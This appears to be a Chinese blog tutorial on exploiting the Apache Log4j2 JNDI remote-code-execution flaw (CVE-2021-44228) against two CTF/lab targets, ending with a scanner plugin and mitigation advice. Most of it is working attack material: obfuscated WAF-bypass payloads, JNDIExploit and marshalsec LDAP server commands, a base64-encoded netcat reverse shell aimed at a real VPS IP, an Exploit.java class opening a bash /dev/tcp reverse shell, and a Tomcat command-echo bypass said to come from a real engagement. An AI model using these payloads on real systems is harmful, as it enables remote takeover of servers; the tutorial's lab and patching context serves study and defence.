目录

一、漏洞描述

二、漏洞复现

1. bugku靶场

反弹shell

命令执行

2. 掌控安全

反弹shell

三、Burp扫描插件

四、修复建议


一、漏洞描述

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。12月9号进行了漏洞预警,然后整个安全圈就过年了。

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞编号:CVE-2021-44228

影响范围:Apache Log4j 2.x < 2.15.0-rc2

payload

${jndi:ldap://dnslog.cn}

bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

二、漏洞复现

1. bugku靶场

地址:https://ctf.bugku.com/challenges/detail/id/340.html

访问地址,可见一个登陆框

这里使用dnslog进行探测,dnslog平台 ——> DNSLOG Platform

在用户名字段插入poc,密码字段因为数据加密了所以不行

${jndi:ldap://e4953331.dns.1433.eu.org.}

dns平台接收如下,说明漏洞存在

再输入一个bypass payload,dns平台都能接收

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://e4953331.dns.1433.eu.org./poc}

反弹shell

工具:JNDIExploit-1.2-SNAPSHOT.jar

1. 开启LDAP

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的ip

2. base64编码反弹shell命令

nc x.x.x.x 6666 -e /bin/sh

3. 将编码后的命令插入如下

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/base64编码后的命令}

${jndi:ldap://39.100.88.162:1389/Basic/Command/Base64/bmMgMzkuMTAwLjg4LjE2MiA2NjY2IC1lIC9iaW4vc2g=}

4. 开启监听

nc -lvnp 6666

5. 发送payload

如下 成功反弹shell

命令执行

ps: 有时候会过滤某个字符,然后页面显示400,此时可以尝试将此字符进行url编码。以下来自与我的真实项目

1. 开启LDAP监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的ip

2. 命令执行

/TomcatBypass/TomcatEcho对命令执行结果回显。由于这里对{}和进行了过滤,所以对其编码

# ${jndi:ldap://39.100.88.162:1389/TomcatBypass/TomcatEcho}
$%7bjndi:ldap://39.100.88.162:1389/TomcatBypass/TomcatEcho%7d #header头中加入
cmd: 命令

或者

2. 掌控安全

靶场地址:http://d63bb2586.lab.aqlab.cn/

1. 漏洞检测

存在

反弹shell

此靶场用上面一种反弹shell的方法并不能成功

1. 编辑Exploit.java文件

反弹shell端口为6666

public class Exploit {public Exploit(){try{// 要执行的命令String[] commands = {"bash","-c","exec 5<>/dev/tcp/39.xx.xx.162/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();} catch(Exception e){e.printStackTrace();}}public static void main(String[] argv) {Exploit e = new Exploit();}
}

编译java文件

javac Exploit.java

生成如下两个文件,上传至vps

2. 开启web服务

python -m http.server 80

3. 开启LDAP服务

工具——>  marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://39.100.88.162/#Exploit"

此时监听端口1389

4. 触发payload

${jndi:ldap://39.100.88.162:1389/Exploit}

三、Burp扫描插件

1. log4j2burpscanner主动动扫描插件

该插件会主动扫描漏洞,也可以自己手动选择如下

如果存在漏洞

四、修复建议

官方方案

1、将Log4j框架升级到2.15.0版本:

org/apache/loging/logj/logj-core/5.0

不要用2.15.0-rc1和2.15.0-rc2

临时方案

1、升级JDK

2、修改log4j配置

①设置参数:

log4j2.formatMsgNoLookups=True

②修改jvm参数:

-Dlog4j2.formatMsgNoLookups=true

③系统环境变量:

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

④禁止log4j2所在的服务器外连

3、使用安全产品防护:WAF、RASP

Apache Log4j2 RCE漏洞利用反弹shell合集相关推荐

  1. Apache Log4j2 RCE 命令执行漏洞预警及修复方案

    漏洞名称:Apache Log4j2远程代码执行漏洞 组件名称:Apache Log4j2 截止2021年12⽉10⽇,受影响的Apache log4j2版本: 2.0≤Apache Log4j< ...

  2. 黑哥点评|关于 Apache Log4j2 高危漏洞的思考与建议

    2021年12月8日,知道创宇404积极防御实验室通过创宇安全智脑监测到Apache Log4j2远程代码执行高危漏洞(CVE-2021-44228)被攻击者利用,且该漏洞细节已经被公开扩散. 经专家 ...

  3. [ 新出漏洞篇 ] 核弹级漏洞 Log4j2 RCE 漏洞爆出,开发圈苦逼,安全圈过年,你赶上了吗 ?(外行都能看懂的漏洞分析)

    Log4j2相信大家不陌生了~~~哈哈哈哈. 相信大家已经被 Log4j2 的重大漏洞刷屏了.几乎没有互联网公司幸免. 估计有不少开发的小伙伴在此前为了修 bug 已经累趴下了. 估计也有不少安全圈的 ...

  4. cve-2018-2628 Weblogic反序列化漏洞实现反弹shell

    测试机:MacBook-Air 测试机IP:192.168.0.100 靶机IP:192.168.0.100:7001 环境: docker 工具:CVE-2018-2628漏洞利用工具包 下载 一. ...

  5. office漏洞利用--获取shell

    环境: kali系统, windows系统 流程: 在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招 第一种利用方式, 适合测试用: 从git下载 ...

  6. apache目录遍历漏洞利用_Apache漏洞—多后缀名解析、目录遍历和(CVE-2017-15715)

    文章目录 一.Apache httpd 多后缀解析漏洞 漏洞原理 漏洞复现 漏洞修复 二.Apache httpd 换行解析漏洞(CVE-2017-15715) 漏洞原理 漏洞复现 漏洞修复 三.Ap ...

  7. 速修复!这个严重的 Apache Struts RCE 漏洞补丁不完整

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士团队 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的 ...

  8. 系统安全通知:关于近期Apache Log4j2执行漏洞

    近日,WebRAY安全服务部监测到Apache Log4j2存在远程代码执行漏洞(CVE-2021-44228),通过构造恶意的代码即可利用该漏洞,从而导致服务器权限丢失. 有不少客户存在这样的疑虑: ...

  9. webmin RCE漏洞利用及分析

    Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作. 利用条件:webmin <= 1.910 原因:官网 Sou ...

最新文章

  1. Python笔记_第四篇_高阶编程_检测_2.对类进行单元检测
  2. 实例演示如何在spring4.2.2中集成hibernate5.0.2并创建sessionFactory
  3. Java基础学习总结(161)——Java 重试机制
  4. the python challenge_pythonchallenge 全部关卡提示
  5. Django Rest Framework源码剖析(七)-----分页
  6. 【对话】对话系统经典:检索式对话
  7. Linux学习笔记6 - 用户和组群账户管理
  8. UE 材质编辑器快捷键
  9. yyyy-MM-dd 转化成 中国标准时间(Tue Dec 31 2019 00:00:00 GMT+0800 (中国标准时间))
  10. uni-app使用HBuilder X编辑器本地打包app(apk)详情步骤
  11. 全新 OceanBase 社区版开发者中心 ODC 核心功能解读
  12. 【树莓派换清华源 】 armv7l bullseye
  13. 导出Excel时出现80080005错误的解决办法
  14. [AHK]自动运行一键选股
  15. 次要和主要等位基因的定义
  16. 云桌面教学可以给学校老师和学生带来那些改变
  17. Freemaker生成静态html页面
  18. 关于.NET使用Microsoft.Office.Interop.Excel导出“异常来自 HRESULT:0x800A03EC”
  19. C++作业03_02: 下楼问题。从楼上走到楼下共有h个台阶,每一步有三种走法
  20. Android 热修复 Tinker接入及源码浅析最精彩没有之一

热门文章

  1. 记录一下华为面试,已挂
  2. 小程序直播如何接入抖音直播
  3. 思科模拟器Cisco Packet Tracer交换机的管理配置
  4. Python实现计算GPA加权平均分
  5. keil mdk仿真
  6. 系统vt已经开了夜神模拟器还是提醒未开启怎么解决?
  7. 拓扑排序总结(Kahn算法)
  8. poi 导入excel文件,日期格式的处理。
  9. 申请知识产权需要什么条件?
  10. 06-2017.07-中兴通讯认识实习《LTE复杂项目》